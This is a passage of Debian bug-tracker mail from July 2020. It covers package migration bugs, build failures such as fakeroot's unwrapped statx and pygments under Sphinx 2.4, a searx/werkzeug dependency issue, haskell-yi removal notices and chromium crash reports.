Bug #953220 [src:pillow-python2] pillow-python2: Python2 removal in sid/bullseye
Severity set to 'serious' from 'normal'
> # python-nose is a module and has 0 external rdeps or not in testing
> severity 937156 serious
Bug #937156 [src:nose] nose: Python2 removal in sid/bullseye
Severity set to 'serious' from 'normal'
> # python-roman is a module and has 0 external rdeps or not in testing
> severity 938147 serious
Bug #938147 [src:python-roman] python-roman: Python2 removal in sid/bullseye
Severity set to 'serious' from 'normal'
>
End of message, stopping processing here.

Please contact me if you need assistance.
-- 
937156: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=937156
938147: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=938147
953220: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=953220
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Processed: src:mothur: fails to migrate to testing for too long: FTBFS & autopkgtest regression

[Debian Bug Tracking System]

Processing control commands:

> close -1 1.44.1-1
Bug #965224 [src:mothur] src:mothur: fails to migrate to testing for too long: 
FTBFS & autopkgtest regression
Marked as fixed in versions mothur/1.44.1-1.
Bug #965224 [src:mothur] src:mothur: fails to migrate to testing for too long: 
FTBFS & autopkgtest regression
Marked Bug as done
> block -1 by 963288 960873
Bug #965224 {Done: Paul Gevers } [src:mothur] src:mothur: 
fails to migrate to testing for too long: FTBFS & autopkgtest regression
965224 was not blocked by any bugs.
965224 was not blocking any bugs.
Added blocking bug(s) of 965224: 963288 and 960873

-- 
965224: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=965224
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#965224: src:mothur: fails to migrate to testing for too long: FTBFS & autopkgtest regression

[Paul Gevers]

Source: mothur
Version: 1.42.1-1
Severity: serious
Control: close -1 1.44.1-1
Tags: sid bullseye
User: release.debian@packages.debian.org
Usertags: out-of-sync
Control: block -1 by 963288 960873

Dear maintainer(s),

As recently announced [1], the Release Team now considers packages that
are out-of-sync between testing and unstable for more than 60 days as
having a Release Critical bug in testing. Your package src:mothur in its
current version in unstable has been trying to migrate for 61 days [2].
Hence, I am filing this bug.

If a package is out of sync between unstable and testing for a longer
period, this usually means that bugs in the package in testing cannot be
fixed via unstable. Additionally, blocked packages can have impact on
other packages, which makes preparing for the release more difficult.
Finally, it often exposes issues with the package and/or
its (reverse-)dependencies. We expect maintainers to fix issues that
hamper the migration of their package in a timely manner.

This bug will trigger auto-removal when appropriate. As with all new
bugs, there will be at least 30 days before the package is auto-removed.

I have immediately closed this bug with the version in unstable, so if
that version or a later version migrates, this bug will no longer affect
testing. I have also tagged this bug to only affect sid and bullseye, so
it doesn't affect (old-)stable.

If you believe your package is unable to migrate to testing due to
issues beyond your control, don't hesitate to contact the Release Team.

Paul

[1] https://lists.debian.org/debian-devel-announce/2020/02/msg5.html
[2] https://qa.debian.org/excuses.php?package=mothur




signature.asc
Description: OpenPGP digital signature

Bug#965223: src:opendht: fails to migrate to testing for too long: FTBFS on armel and mipsel

[Paul Gevers]

Source: opendht
Version: 1.8.1-1
Severity: serious
Control: close -1 2.1.1-1
Tags: sid bullseye
User: release.debian@packages.debian.org
Usertags: out-of-sync

Dear maintainer(s),

As recently announced [1], the Release Team now considers packages that
are out-of-sync between testing and unstable for more than 60 days as
having a Release Critical bug in testing. Your package src:opendht in
its current version in unstable has been trying to migrate for 62 days
[2]. Hence, I am filing this bug.

If a package is out of sync between unstable and testing for a longer
period, this usually means that bugs in the package in testing cannot be
fixed via unstable. Additionally, blocked packages can have impact on
other packages, which makes preparing for the release more difficult.
Finally, it often exposes issues with the package and/or
its (reverse-)dependencies. We expect maintainers to fix issues that
hamper the migration of their package in a timely manner.

This bug will trigger auto-removal when appropriate. As with all new
bugs, there will be at least 30 days before the package is auto-removed.

I have immediately closed this bug with the version in unstable, so if
that version or a later version migrates, this bug will no longer affect
testing. I have also tagged this bug to only affect sid and bullseye, so
it doesn't affect (old-)stable.

If you believe your package is unable to migrate to testing due to
issues beyond your control, don't hesitate to contact the Release Team.

Paul

[1] https://lists.debian.org/debian-devel-announce/2020/02/msg5.html
[2] https://qa.debian.org/excuses.php?package=opendht




signature.asc
Description: OpenPGP digital signature

Processed: src:opendht: fails to migrate to testing for too long: FTBFS on armel and mipsel

[Debian Bug Tracking System]

Processing control commands:

> close -1 2.1.1-1
Bug #965223 [src:opendht] src:opendht: fails to migrate to testing for too 
long: FTBFS on armel and mipsel
Marked as fixed in versions opendht/2.1.1-1.
Bug #965223 [src:opendht] src:opendht: fails to migrate to testing for too 
long: FTBFS on armel and mipsel
Marked Bug as done

-- 
965223: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=965223
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#965222: src:gsutil: fails to migrate to testing for too long: autokgtest failure

[Paul Gevers]

Source: gsutil
Version: 3.1-1
Severity: serious
Control: close -1 3.1-3
Tags: sid bullseye
User: release.debian@packages.debian.org
Usertags: out-of-sync
Control: block -1 by 961381

Dear maintainer(s),

As recently announced [1], the Release Team now considers packages that
are out-of-sync between testing and unstable for more than 60 days as
having a Release Critical bug in testing. Your package src:gsutil in its
current version in unstable has been trying to migrate for 63 days [2].
Hence, I am filing this bug.

If a package is out of sync between unstable and testing for a longer
period, this usually means that bugs in the package in testing cannot be
fixed via unstable. Additionally, blocked packages can have impact on
other packages, which makes preparing for the release more difficult.
Finally, it often exposes issues with the package and/or
its (reverse-)dependencies. We expect maintainers to fix issues that
hamper the migration of their package in a timely manner.

This bug will trigger auto-removal when appropriate. As with all new
bugs, there will be at least 30 days before the package is auto-removed.

I have immediately closed this bug with the version in unstable, so if
that version or a later version migrates, this bug will no longer affect
testing. I have also tagged this bug to only affect sid and bullseye, so
it doesn't affect (old-)stable.

If you believe your package is unable to migrate to testing due to
issues beyond your control, don't hesitate to contact the Release Team.

Paul

[1] https://lists.debian.org/debian-devel-announce/2020/02/msg5.html
[2] https://qa.debian.org/excuses.php?package=gsutil




signature.asc
Description: OpenPGP digital signature

Processed: src:pwget: fails to migrate to testing for too long: autopkgtest failure

[Debian Bug Tracking System]

Processing control commands:

> close -1 2016.1019+git75c6e3e-3
Bug #965221 [src:pwget] src:pwget: fails to migrate to testing for too long: 
autopkgtest failure
Marked as fixed in versions pwget/2016.1019+git75c6e3e-3.
Bug #965221 [src:pwget] src:pwget: fails to migrate to testing for too long: 
autopkgtest failure
Marked Bug as done
> block -1 by 961456
Bug #965221 {Done: Paul Gevers } [src:pwget] src:pwget: 
fails to migrate to testing for too long: autopkgtest failure
965221 was not blocked by any bugs.
965221 was not blocking any bugs.
Added blocking bug(s) of 965221: 961456

-- 
965221: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=965221
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Processed: src:gsutil: fails to migrate to testing for too long: autokgtest failure

[Debian Bug Tracking System]

Processing control commands:

> close -1 3.1-3
Bug #965222 [src:gsutil] src:gsutil: fails to migrate to testing for too long: 
autokgtest failure
Marked as fixed in versions gsutil/3.1-3.
Bug #965222 [src:gsutil] src:gsutil: fails to migrate to testing for too long: 
autokgtest failure
Marked Bug as done
> block -1 by 961381
Bug #965222 {Done: Paul Gevers } [src:gsutil] src:gsutil: 
fails to migrate to testing for too long: autokgtest failure
965222 was not blocked by any bugs.
965222 was not blocking any bugs.
Added blocking bug(s) of 965222: 961381

-- 
965222: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=965222
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#965221: src:pwget: fails to migrate to testing for too long: autopkgtest failure

[Paul Gevers]

Source: pwget
Version: 2016.1019+git75c6e3e-1
Severity: serious
Control: close -1 2016.1019+git75c6e3e-3
Tags: sid bullseye
User: release.debian@packages.debian.org
Usertags: out-of-sync
Control: block -1 by 961456

Dear maintainer(s),

As recently announced [1], the Release Team now considers packages that
are out-of-sync between testing and unstable for more than 60 days as
having a Release Critical bug in testing. Your package src:pwget in its
current version in unstable has been trying to migrate for 63 days [2].
Hence, I am filing this bug.

If a package is out of sync between unstable and testing for a longer
period, this usually means that bugs in the package in testing cannot be
fixed via unstable. Additionally, blocked packages can have impact on
other packages, which makes preparing for the release more difficult.
Finally, it often exposes issues with the package and/or
its (reverse-)dependencies. We expect maintainers to fix issues that
hamper the migration of their package in a timely manner.

This bug will trigger auto-removal when appropriate. As with all new
bugs, there will be at least 30 days before the package is auto-removed.

I have immediately closed this bug with the version in unstable, so if
that version or a later version migrates, this bug will no longer affect
testing. I have also tagged this bug to only affect sid and bullseye, so
it doesn't affect (old-)stable.

If you believe your package is unable to migrate to testing due to
issues beyond your control, don't hesitate to contact the Release Team.

Paul

[1] https://lists.debian.org/debian-devel-announce/2020/02/msg5.html
[2] https://qa.debian.org/excuses.php?package=pwget




signature.asc
Description: OpenPGP digital signature

Bug#964670: gsettings-qt: FTBFS: QQmlComponent: Component is not ready

[Mike Gabriel]

Hi,

On  Fr 17 Jul 2020 16:43:39 CEST, Boyuan Yang wrote:


Control: reopen 964670
X-Debbugs-CC: sunwea...@debian.org

Hi Mike,

It seems that the latest upload still did not solve this problem and
all buildd builds are failing.


ACK. Will take a look.

Mike
--

DAS-NETZWERKTEAM
c\o Technik- und Ökologiezentrum Eckernförde
Mike Gabriel, Marienthaler Str. 17, 24340 Eckernförde
mobile: +49 (1520) 1976 148
landline: +49 (4351) 850 8940

GnuPG Fingerprint: 9BFB AEE8 6C0A A5FF BF22  0782 9AF4 6B30 2577 1B31
mail: mike.gabr...@das-netzwerkteam.de, http://das-netzwerkteam.de



pgpnpWnO7AREd.pgp
Description: Digitale PGP-Signatur

Processed: closing 965164

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> close 965164
Bug #965164 [policykit-1] policykit-1: fails to install
Bug #965165 [policykit-1] policykit-1: polkit.service broken after switch to 
/usr/libexec
Bug #965193 [policykit-1] policykit-1: fails to install: chown error on 
/usr/lib/policykit-1/polkit-agent-helper-1
Marked Bug as done
Marked Bug as done
Marked Bug as done
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
965164: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=965164
965165: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=965165
965193: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=965193
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#955054: marked as done (pygments: FTBFS with Sphinx 2.4: Theme error: An error happened in rendering the page docs/api.)

[Debian Bug Tracking System]

Your message dated Fri, 17 Jul 2020 15:03:55 -0400
with message-id 

and subject line Re: pygments: FTBFS with Sphinx 2.4: Theme error: An error 
happened in rendering the page docs/api.
has caused the Debian Bug report #955054,
regarding pygments: FTBFS with Sphinx 2.4: Theme error: An error happened in 
rendering the page docs/api.
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
955054: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=955054
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: pygments
Version: 2.3.1+dfsg-1
Severity: important
Tags: ftbfs
User: python-modules-t...@lists.alioth.debian.org
Usertags: sphinx2.4

Hi,

pygments fails to build with Sphinx 2.4, currently available in
experimental.

Relevant part (hopefully):
> make[1]: Entering directory '/<>/doc'
> PYTHONPATH=.. sphinx-build -b html -d _build/doctrees   . _build/html
> Running Sphinx v2.4.3
> making output directory... done
> building [mo]: targets for 0 po files that are out of date
> building [html]: targets for 24 source files that are out of date
> updating environment: [new config] 24 added, 0 changed, 0 removed
> reading sources... [  4%] docs/api
> reading sources... [  8%] docs/authors
> reading sources... [ 12%] docs/changelog
> reading sources... [ 16%] docs/cmdline
> reading sources... [ 20%] docs/filterdevelopment
> reading sources... [ 25%] docs/filters
> reading sources... [ 29%] docs/formatterdevelopment
> reading sources... [ 33%] docs/formatters
> reading sources... [ 37%] docs/index
> reading sources... [ 41%] docs/integrate
> reading sources... [ 45%] docs/java
> reading sources... [ 50%] docs/lexerdevelopment
> reading sources... [ 54%] docs/lexers
> reading sources... [ 58%] docs/moinmoin
> reading sources... [ 62%] docs/plugins
> reading sources... [ 66%] docs/quickstart
> reading sources... [ 70%] docs/rstdirective
> reading sources... [ 75%] docs/styles
> reading sources... [ 79%] docs/tokens
> reading sources... [ 83%] docs/unicode
> reading sources... [ 87%] download
> reading sources... [ 91%] faq
> reading sources... [ 95%] index
> reading sources... [100%] languages
> 
> /<>/doc/docs/lexers.rst:1799: WARNING: malformed hyperlink 
> target.
> /<>/doc/docs/lexers.rst:1954: WARNING: Field list ends without a 
> blank line; unexpected unindent.
> WARNING: :1795: (ERROR/3) Unknown target name: "aheui".
> WARNING: :1797: (ERROR/3) Unknown target name: "aheui".
> looking for now-outdated files... none found
> pickling environment... done
> checking consistency... done
> preparing documents... done
> writing output... [  4%] docs/api
> 
> Theme error:
> An error happened in rendering the page docs/api.
> Reason: TemplateNotFound()
> make[1]: *** [Makefile:45: html] Error 2

The full build log is available from:
   
http://qa-logs.debian.net/2020/03/26/pygments_2.3.1+dfsg-1_unstable_sphinx243.log

Please see [1] for Sphinx changelog, which may give a hint of what changes in
Sphinx caused this error.

Also see [2] for the list of deprecated/removed APIs and possible alternatives
to them.

Sphinx 2.4 is going to be uploaded to unstable in a couple of weeks. When that
happens, the severity of this bug will be bumped to serious.

In case you have questions, please Cc sph...@packages.debian.org on reply.

[1]: https://www.sphinx-doc.org/en/2.0/changes.html
[2]: 
https://www.sphinx-doc.org/en/2.0/extdev/deprecated.html#dev-deprecated-apis

A list of current common problems and possible solutions is available at
http://wiki.debian.org/qa.debian.org/FTBFS . You're welcome to contribute!

About the archive rebuild: The rebuild was done on EC2 VM instances from
Amazon Web Services, using a clean, minimal and up-to-date chroot. Every
failed build was retried once to eliminate random failures.
--- End Message ---
--- Begin Message ---
Version: 2.3.1+dfsg-3

On Fri, 27 Mar 2020 15:50:29 +0100 Lucas Nussbaum  wrote:
> Source: pygments
> Version: 2.3.1+dfsg-1
> Severity: important
> Tags: ftbfs
> User: python-modules-t...@lists.alioth.debian.org
> Usertags: sphinx2.4

-- 
Sandro "morph" Tosi
My website: http://sandrotosi.me/
Me at Debian: http://wiki.debian.org/SandroTosi
Twitter: https://twitter.com/sandrotosi--- End Message ---

Processed: retitle 964621 to fakeroot: statx function not wrapped, causing FTBFS

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> retitle 964621 fakeroot: statx function not wrapped, causing FTBFS
Bug #964621 [src:fakeroot] fakeroot: FTBFS: tests failed
Changed Bug title to 'fakeroot: statx function not wrapped, causing FTBFS' from 
'fakeroot: FTBFS: tests failed'.
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
964621: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=964621
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Processed: affects 964621

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> affects 964621 = debian-installer
Bug #964621 [src:fakeroot] fakeroot: FTBFS: tests failed
Removed indication that 964621 affects d-i
Added indication that 964621 affects debian-installer
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
964621: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=964621
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#964044: mrpt: FTBFS: test failure

[Gianfranco Costamagna]

On Fri, 17 Jul 2020 08:41:13 +0200 Gianfranco Costamagna 
 wrote:
> Hello again
> 
> I'm deleting the upload, looks like the new ftdi broke configure script.
> 
> see the attached build log
> 
> G.

reuploaded, I gave ftdi a patch, and an upload is coming shortly

G.

Bug#965095: Searx 0.17.0 with uwsgi throws Internal Server Error

[Joseph Nuthalapati]

I cannot reproduce this issue on a new Debian unstable container with
searx 0.17.0 and python3-werkzeug 1.0.1

The line referenced in the bug report exists in searx 0.16.0
https://github.com/asciimoo/searx/blob/v0.16.0/searx/webapp.py#L50

I'm using the same container image.
The other dependencies I'm installing - uwsgi and uwsgi-plugin-python3
haven't been updated since last month.

The only explanation I can think of is that my installation fetched
searx 0.16.0 and python3-werkzeug 1.0.1, a failing combination.

Did I test this too early when both packages weren't available at the
same time in the Debian mirror?
Wed, 15 Jul 2020 21:33:23 UTC  <- date of release announcement
Thu, 16 Jul 2020 02:09:01 UTC  <- date of bug report

Also, I didn't verify the Searx version in the container last time. I
merely looked up the latest version from https://tracker.debian.org

In a way, python3-searx depending on python3-werkzeug (>= 0.16.1) caused
this problem. Maybe it should have had an upper bound of < 1.0

I added an additional test to the FreedomBox project to reproduce this
issue. But that test is now passing too. Hope the upgrade proceeds
without any problems.

I have also noticed that python3-werkzeug 1.0.1 might not migrate to
testing due to autopkgtest failures but searx will. It might be worth
checking if searx 0.17.0 will work properly with python3-werkzeug 0.16.1.


On 16/07/20 2:11 pm, Johannes Schauer wrote:
> Hi,
> 
> thanks for your bugreport!
> 
> Quoting Joseph Nuthalapati (2020-07-16 04:06:35)
>> There appears to be a missing Python dependency (werkzeug.contrib) in
>> the new Searx 17.0 package uploaded to unstable.
>>
>> Tested in Debian unstable container.
>>
>> Error log from /var/log/uwsgi/app/searx.log
>>
>> ---
>> Traceback (most recent call last):
>>
>>   File "/usr/lib/python3/dist-packages/searx/webapp.py", line 50, in
>> 
>> from werkzeug.contrib.fixers import ProxyFix
>> ModuleNotFoundError: No module named 'werkzeug.contrib'
>> Thu Jul 16 07:22:32 2020 - unable to load app 0 (mountpoint='')
>> (callable not found or import error)
>> Thu Jul 16 07:22:32 2020 - *** no app loaded. going in full dynamic mode ***
>> Traceback (most recent call last):
>>
>>   File "/usr/lib/python3/dist-packages/searx/webapp.py", line 50, in
>> 
>> from werkzeug.contrib.fixers import ProxyFix
>> ModuleNotFoundError: No module named 'werkzeug.contrib'
> 
> can you tell me how to reproduce the error?
> 
> Weirdly, line 40 in webapp.py does not contain the line from your backtrace
> above:
> 
> https://sources.debian.org/src/searx/0.17.0+dfsg1-1/searx/webapp.py/
> 
> Also, the autopkgtest is passing just fine:
> 
> https://salsa.debian.org/debian/searx/-/pipelines/156223
> 
> So I wonder how it can be that it runs fine for me and on salsa ci. Maybe some
> additional tests should be added which trigger your problem?
> 
> Also weird, then I don't find the string "werkzeug.contrib" at all in the 
> searx
> sources in Debian or in the upstream git:
> 
> https://github.com/asciimoo/searx/search?q=werkzeug.contrib_q=werkzeug.contrib
> 
> Do you have an idea?
> 
> Thanks!
> 
> cheers, josch
> 

-- 
Regards,
Joseph Nuthalapati



signature.asc
Description: OpenPGP digital signature

Processed: Re: Bug#964621: fakeroot: FTBFS: tests failed

[Debian Bug Tracking System]

Processing control commands:

> affects -1 d-i
Bug #964621 [src:fakeroot] fakeroot: FTBFS: tests failed
Added indication that 964621 affects d-i

-- 
964621: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=964621
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#964650: pydicom: FTBFS: dh_auto_test: error: pybuild --test --test-pytest -i python{version} -p 3.8 returned exit code 13

[Yaroslav Halchenko]

On Fri, 17 Jul 2020, Andreas Tille wrote:

> Control: tags -1 help

> Hi,

> the new upstream version I've just pushed to git solves the issue

thanks!

> that is reported here, but I'm running into a different issue:

>TypeError: data type 'uint15' not understood

I do not understand it either, in the sense that I have never seen such a
beast in real life.

> Any help is welcome

google lead me to
https://bugzilla.redhat.com/show_bug.cgi?id=1838435_source=feedburner_medium=feed_campaign=Feed%3A+rawhide-new-7days+%28Bugzilla+Bugs%29
which points to
https://github.com/pydicom/pydicom/issues/1119
which says to be fixed by
https://github.com/pydicom/pydicom/pull/1114
which is not really related ...

will look into it later...
> Andreas.
-- 
Yaroslav O. Halchenko
Center for Open Neuroscience http://centerforopenneuroscience.org
Dartmouth College, 419 Moore Hall, Hinman Box 6207, Hanover, NH 03755
WWW:   http://www.linkedin.com/in/yarik

Bug#964621: fakeroot: FTBFS: tests failed

[Aurelien Jarno]

control: affects -1 d-i

Hi,

On 2020-07-09 13:10, Lucas Nussbaum wrote:
> Source: fakeroot
> Version: 1.24-1
> Severity: serious
> Justification: FTBFS on amd64
> Tags: bullseye sid ftbfs

I am Not sure the bullseye tag is correct here. The version from
bullseye/sid FTBFS when built in sid, but not when in built in bullseye.

> Usertags: ftbfs-20200709 ftbfs-bullseye
> 
> Hi,
> 
> During a rebuild of all packages in sid, your package failed to build
> on amd64.
> 
> Relevant part (hopefully):
> > make[5]: Entering directory '/<>/obj-sysv/test'
> > FAIL: t.chmod_dev
> > PASS: t.cp-a
> > PASS: t.echoarg
> > PASS: t.falsereturn
> > FAIL: t.mknod
> > PASS: t.no_ld_preload
> > PASS: t.no_ld_preload_link
> > PASS: t.option
> > PASS: t.tar
> > FAIL: t.touchinstall
> > PASS: t.truereturn
> > PASS: t.xattr

The reason for these new failures is that coreutils 8.32 is using the
"new" statx function to get file status in the various binaries it
provides. fakeroot doesn't wrap this function, so the real file status
is returned instead of the fake one.

Fortunately coreutils 8.32 hasn't migrated to sid (for other reasons),
so bullseye is not affected.

Aurelien

-- 
Aurelien Jarno  GPG: 4096R/1DDD8C9B
aurel...@aurel32.net http://www.aurel32.net

Processed: tagging 965206

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> tags 965206 + bullseye sid
Bug #965206 [src:haskell-yi-language] haskell-yi-language: Removal notice: 
broken and unmaintained
Added tag(s) bullseye and sid.
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
965206: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=965206
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Processed: tagging 965207

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> tags 965207 + bullseye sid
Bug #965207 [src:haskell-yi-rope] haskell-yi-rope: Removal notice: unmaintained
Added tag(s) sid and bullseye.
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
965207: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=965207
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#965164: (no subject)

[Cody Brownstein]

Cody Brownstein:
> Is there a suggested fix for those who entirely cannot boot into their
> system to upgrade the broken package?
> 
> During boot with the broken package installed, I get:
> 
>   [FAILED] Failed to start Authorization Manager.

Please kindly disregard.

I fixed the issue by booting into the systemd multi-user target and from
there upgrading the package.

Bug#965207: haskell-yi-rope: Removal notice: unmaintained

[Ilias Tsitsimpis]

Source: haskell-yi-rope
Version: 0.11-2
Severity: grave
Justification: renders package unusable

The Yi package is unmaintained (see https://bugs.debian.org/965206).
This package is only useful to Yi, so if we remove Yi, we should also
remove this one.

-- 
Ilias

Bug#965180: openssh-server: Incompatible with libc6=2.31-1, doesn't allow to login!

[Philipp Marek]

sorry, my fault.

I "had to" upgrade ffmpeg at some time in the past;

i   ffmpegDepends libavformat58 (= 7:4.3-2)
i A libavformat58 Depends libgnutls30 (>= 3.6.14)

i   libgnutls30 Depends libc6 (>= 2.25)

and so I had a newer libc than stable.

Sorry about the confusion; perhaps a "Conflicts" might be a good idea,
though.


Thanks for your effort!

Bug#965206: haskell-yi-language: Removal notice: broken and unmaintained

[Ilias Tsitsimpis]

Source: haskell-yi-language
Version: 0.18.0-1
Severity: grave
Justification: renders package unusable
Forwarded: https://github.com/yi-editor/yi/issues/1114

This package is unmaintained (see [1]).
Does not build with newer haskell-regex-base, and is not part of
Stackage. Unless someone steps up and take over, I intend to remove all
haskell-yi-* packages from Debian.

[1] https://github.com/yi-editor/yi/issues/1114

-- 
Ilias

Bug#964334: marked as done (segfault repeatedly)

[Debian Bug Tracking System]

Your message dated Fri, 17 Jul 2020 16:02:26 +
with message-id 
and subject line Bug#963548: fixed in chromium 83.0.4103.116-1~deb10u3
has caused the Debian Bug report #963548,
regarding segfault repeatedly
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
963548: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=963548
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: chromium
Version: 83.0.4103.116-2
Severity: grave

I've upgraded chromium to the current version in testing, and it segfaults
repeatedly (and very "reliably"! :-)) after usually ~1 minute of runtime, even
when not used in foreground, with a stack trace like this one:

-

$ chromium 

(chromium:1480721): Gtk-WARNING **: 21:03:45.963: Theme parsing error: 
gtk.css:6:20: The 'gtk-key-bindings' property has been renamed to 
'-gtk-key-bindings'
[1480760:1480760:0705/210346.245467:ERROR:sandbox_linux.cc(374)] 
InitializeSandbox() called with multiple threads in process gpu-process.
[1480764:1480779:0705/210348.465499:ERROR:nss_util.cc(283)] After loading Root 
Certs, loaded==false: NSS error code: -8018
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: profile 'Photoshop ICC profile': 'RGB ': RGB color space 
not permitted on grayscale PNG
libpng warning: iCCP: profile 'Photoshop ICC profile': 'RGB ': RGB color space 
not permitted on grayscale PNG
libpng warning: iCCP: known incorrect sRGB profile
libpng warning: iCCP: known incorrect sRGB profile
Received signal 11 SEGV_MAPERR 7f01744946c7
#0 0x557d36628c69 (/usr/lib/chromium/chromium+0x52b3c68)
#1 0x557d36587ef3 (/usr/lib/chromium/chromium+0x5212ef2)
#2 0x557d366287f1 (/usr/lib/chromium/chromium+0x52b37f0)
#3 0x7f1a95d8d110 (/usr/lib/x86_64-linux-gnu/libpthread-2.30.so+0x1410f)
#4 0x7f1a90e78d3c (/usr/lib/x86_64-linux-gnu/libc-2.30.so+0x85d3b)
#5 0x7f1a90e7af33 (/usr/lib/x86_64-linux-gnu/libc-2.30.so+0x87f32)
#6 0x7f1a90e7cbf9 __libc_malloc
#7 0x557d366409be operator new()
#8 0x7f1a91103a2c std::__cxx11::basic_string<>::reserve()
#9 0x7f1a910f9498 std::__cxx11::basic_stringbuf<>::overflow()
#10 0x7f1a9110204a std::basic_streambuf<>::xsputn()
#11 0x7f1a910f4714 std::__ostream_insert<>()
#12 0x557d36628d39 (/usr/lib/chromium/chromium+0x52b3d38)
#13 0x557d36629054 (/usr/lib/chromium/chromium+0x52b4053)
#14 0x557d3659a412 (/usr/lib/chromium/chromium+0x5225411)
#15 0x557d3659c548 (/usr/lib/chromium/chromium+0x5227547)
#16 0x557d34ce212a (/usr/lib/chromium/chromium+0x396d129)
#17 0x557d34ce217e (/usr/lib/chromium/chromium+0x396d17d)
#18 0x557d34337387 (/usr/lib/chromium/chromium+0x2fc2386)
#19 0x557d34c9b3d9 (/usr/lib/chromium/chromium+0x39263d8)
#20 0x557d34c9b61e (/usr/lib/chromium/chromium+0x392661d)
#21 0x557d34ce5967 (/usr/lib/chromium/chromium+0x3970966)
#22 0x557d34d114c7 (/usr/lib/chromium/chromium+0x399c4c6)
#23 0x557d34d1177e (/usr/lib/chromium/chromium+0x399c77d)
#24 0x557d34ce213f (/usr/lib/chromium/chromium+0x396d13e)
#25 0x557d34ce217e (/usr/lib/chromium/chromium+0x396d17d)
#26 0x557d34337387 (/usr/lib/chromium/chromium+0x2fc2386)
#27 0x557d345fa7a3 (/usr/lib/chromium/chromium+0x32857a2)
#28 0x557d349690bc (/usr/lib/chromium/chromium+0x35f40bb)
#29 0x557d3675a45f (/usr/lib/chromium/chromium+0x53e545e)
#30 0x557d36760a24 (/usr/lib/chromium/chromium+0x53eba23)
#31 0x557d3675eb62 (/usr/lib/chromium/chromium+0x53e9b61)
#32 0x557d3675d82d (/usr/lib/chromium/chromium+0x53e882c)
#33 0x557d36756213 (/usr/lib/chromium/chromium+0x53e1212)
#34 0x557d36771abb (/usr/lib/chromium/chromium+0x53fcaba)
#35 0x557d36771de0 (/usr/lib/chromium/chromium+0x53fcddf)
#36 0x557d36771370 (/usr/lib/chromium/chromium+0x53fc36f)
#37 0x557d345e3c46 (/usr/lib/chromium/chromium+0x326ec45)
#38 0x557d345e376c (/usr/lib/chromium/chromium+0x326e76b)
#39 0x557d345dfeed (/usr/lib/chromium/chromium+0x326aeec)
#40 0x557d345d674b (/usr/lib/chromium/chromium+0x326174a)
#41 0x557d345c9044 (/usr/lib/chromium/chromium+0x3254043)
#42 0x557d345c8d75 (/usr/lib/chromium/chromium+0x3253d74)
#43 0x557d345e7426 (/usr/lib/chromium/chromium+0x3272425)
#44 0x557d366460e0 (/usr/lib/chromium/chromium+0x52d10df)
#45 0x7f1a94b42b0f (/usr/lib/x86_64-linux-gnu/libevent-2.1.so.7.0.0+0x23b0e)
#46 0x7f1a94b4324f event_base_loop
#47 0x557d3664638e (/usr/lib/chromium/chromium+0x52d138d)
#48 0x557d365e65d5 (/usr/lib/chromium/chromium+0x52715d4)
#49 0x557d365be670 (/usr/lib/chromium/chromium+0x524966f)
#50 0x557d349043b3 (/usr/lib/chromium/chromium+0x358f3b2)
#51 0x557d365fc2a9 (/usr/lib/chromium/chromium+0x52872a8)
#52 0x557d36638c9e 

Bug#964287: marked as done (chromium: crashes after page interaction due to a double free)

[Debian Bug Tracking System]

Your message dated Fri, 17 Jul 2020 16:02:26 +
with message-id 
and subject line Bug#963548: fixed in chromium 83.0.4103.116-1~deb10u3
has caused the Debian Bug report #963548,
regarding chromium: crashes after page interaction due to a double free
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
